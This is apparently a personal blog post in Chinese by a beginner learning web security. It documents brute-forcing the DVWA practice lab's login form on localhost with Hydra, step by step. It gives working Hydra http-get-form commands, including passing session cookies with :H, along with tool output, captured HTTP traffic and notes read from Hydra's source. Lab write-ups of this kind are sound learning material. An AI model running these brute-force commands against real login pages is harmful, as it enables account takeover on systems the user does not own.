刚刚开始学习web安全， 在本地机器上搭建了dvwa测试环境， 开始brute force的测试。
下面是通过浏览器显示出来的html代码
<form action="#" method="GET">
Username:<br><input type="text" name="username"><br>
Password:<br><input type="password" AUTOCOMPLETE="off" name="password"><br>
<input type="submit" value="Login" name="Login">
</form>
<pre><br>Username and/or password incorrect.</pre>
通过下方的链接http://hiderefer.com/?http://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29提供了两个暴力美学破解的工具， 由于本机环境是linux， 很自然的选择hydra（hydra是九头蛇的意思， 一般看到英文的软件名字， 如果不知道他的中文翻译或者是哪几个单词的缩写， 那么每次使用心里都会怪怪的）。
一开始认为暴力破解很简单， 就是提供一个用户名和密码（或者字典）给自动化工具， 然后就开始漫长的等待就行了， 所以也没多想， 直接运行命令：
hydra -l admin -P password.txt 127.0.0.1 http-get "/dvwa/vulnerabilities/brute/"
输出的结果如下：
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:23:55 [DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task [DATA] attacking service http-get on port 80 [80][www] host: 127.0.0.1 login: admin password: aaaaa [80][www] host: 127.0.0.1 login: admin password: password 1 of 1 target successfully completed, 2 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2013-08-13 23:23:56
发现密码文件中的两个提供的密码都通过验证了， 明显不对。
第二次运行命令：
hydra -l admin -P password.txt 127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/"
运行结果：
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:26:32 [ERROR] the variables argument needs at least the strings ^USER^ or ^PASS^: (null)
这次直接报错， 原谅我这是第一次使用Hydra这个工具， 第一次接触暴力破解。
上google搜索了一下hydra的用法， 以及相关的资料， 第三次运行命令：
hydra -l admin -P password.txt -vV 127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect."
输出结果如下：
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:30:07 [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task [DATA] attacking service http-get-form on port 80 [VERBOSE] Resolving addresses ... done [ATTEMPT] target 127.0.0.1 - login "admin" - pass "aaaaa" - 1 of 2 [child 0] [ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 2 of 2 [child 1] [VERBOSE] Page redirected to http://127.0.0.1/dvwa/vulnerabilities/brute/../../login.php [VERBOSE] Page redirected to http://127.0.0.1/dvwa/vulnerabilities/brute/../../login.php [80][www-form] host: 127.0.0.1 login: admin password: password [STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests) [80][www-form] host: 127.0.0.1 login: admin password: aaaaa 1 of 1 target successfully completed, 2 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2013-08-13 23:30:17
oh， my god， 这个和第一次是一样的。
然后开始对照是不是字母拼写错误或者最后的失败语句错了， 在确定一切都没错之后开始边怀疑这个工具的正确性边开始google类似的问题， 期间还使用了fireforce这个工具试了一把， 结果也不太对。 这个时候已经非常沮丧了， 处于崩溃的边缘了......终于在backtrack论坛上发现了有人也是类似的问题， 后面有人回复说这个不是BasicAuthentication， 而是Form-based Authentication， 还有人说得用burp suite或者wireshark抓包看看真相是什么。 好吧， 由于没有听说过HTTP Authentication这个名词， 赶紧去google一下， 还是OWASP的这篇文章https://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29解答了我这方面的全部疑惑， 期间顺便补充了一下Base64编码的知识， 这些之前仅仅处于听说过状态。
由于没有用过Burp Suite， 所以直接选择了wireshark， 抓包分析。
在页面上随便输入用户名和密码提交后， wireshark发现每次浏览器都会自动提交cookie：
GET /dvwa/vulnerabilities/brute/?username=admin&password=asdff&Login=Login HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/dvwa/vulnerabilities/brute/ Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4 Connection: keep-alive
之后通过wireshark抓包发现这个cookie是在使用浏览器登录的时候就设置好的， 不同的浏览器cookie是不同的， 开始默认的security= high， 当修改安全级别后服务器会重新发送set-cookie 为low， 以后每次提交表单或者get 操作都要提交这个cookie， 负责服务器验证是通不过的。
下面是重新使用google浏览器登录dvwa， 服务器的response信息：
HTTP/1.1 302 Found Date: Tue, 13 Aug 2013 15:55:30 GMT Server: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 Set-Cookie: PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: security=high Location: ../../login.php Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html
当我们登录成功后将安全等级提交为low后， 可以看到cookie的变化如下：
POST /dvwa/security.php HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Content-Length: 33 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Origin: http://127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://127.0.0.1/dvwa/security.php Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: security=high; PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7 security=low&seclev_submit=SubmitHTTP/1.1 302 Found Date: Tue, 13 Aug 2013 15:57:03 GMT Server: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: security=low Location: /dvwa/security.php Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html GET /dvwa/security.php HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 Referer: http://127.0.0.1/dvwa/security.php Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: security=low; PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7
可以看到之后的cookie已经变过来了。
OK， 下面继续进行Hydra的命令操作， 第n次运行命令， 这个是使用的firefox浏览器：
hydra -l admin -P password.txt 127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4"
输出如下：
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-14 00:13:37 [DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task [DATA] attacking service http-get-form on port 80 [80][www-form] host: 127.0.0.1 login: admin password: password 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2013-08-14 00:13:37
可以看到这次的运行结果是正确的。 长舒一口气之后陷入了迷惑中， 通过运行hydra -h或者是man hydra并没有说有 :H这个说法， 上网google看到很多使用：C选项的， 这个工具到底怎么用， 什么时候使用：C 什么时候使用：H， google之后并没有发现有人说怎么用， 没办法， 只能去看源代码。 幸好是c语言的， 我的偏爱。
后来又经过wireshark抓包分析，以及对比源代码分析， 发现：C指定的是cookie文件的路径， 这个路径是服务器上的路径， 也就是说如果服务器上存放cookie的文件是/path/cookie, 那么就可以用:C=/path/cookie来指定hydra从服务器上获取cookie， 然后自动添加到每次的get或者post的http header中， 如果像dvwa这样没有cookie的专门文件或者我们不知道cookie的存放文件， 那么就用:H来每次手动指定。
如果指定了:C=/path/cookie 那么每次hydra提交之前首先会去get /path/cookie 来得到cookie， 然后每次分析response返回的信息，自动将cookie添加到http 的header中。
：H其实是用来手动添加Header 域的， 比如上面的我们手动添加了 ：H=Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4， 这其实是告诉hydra每次get或者post的时候要添加上这个：H后面的头部的域。
通过大概的阅读源代码可以得知如果hydra捕获了response中的set-cookie， 那么我们也不用每次手动添加cookie。
目前为止已经基本弄明白了如何使用hydra来进行http的brute force测试， 后面还会继续尝试hydra应用于别的协议的暴力美学破解。
每天都有进步的生活是值得期待的！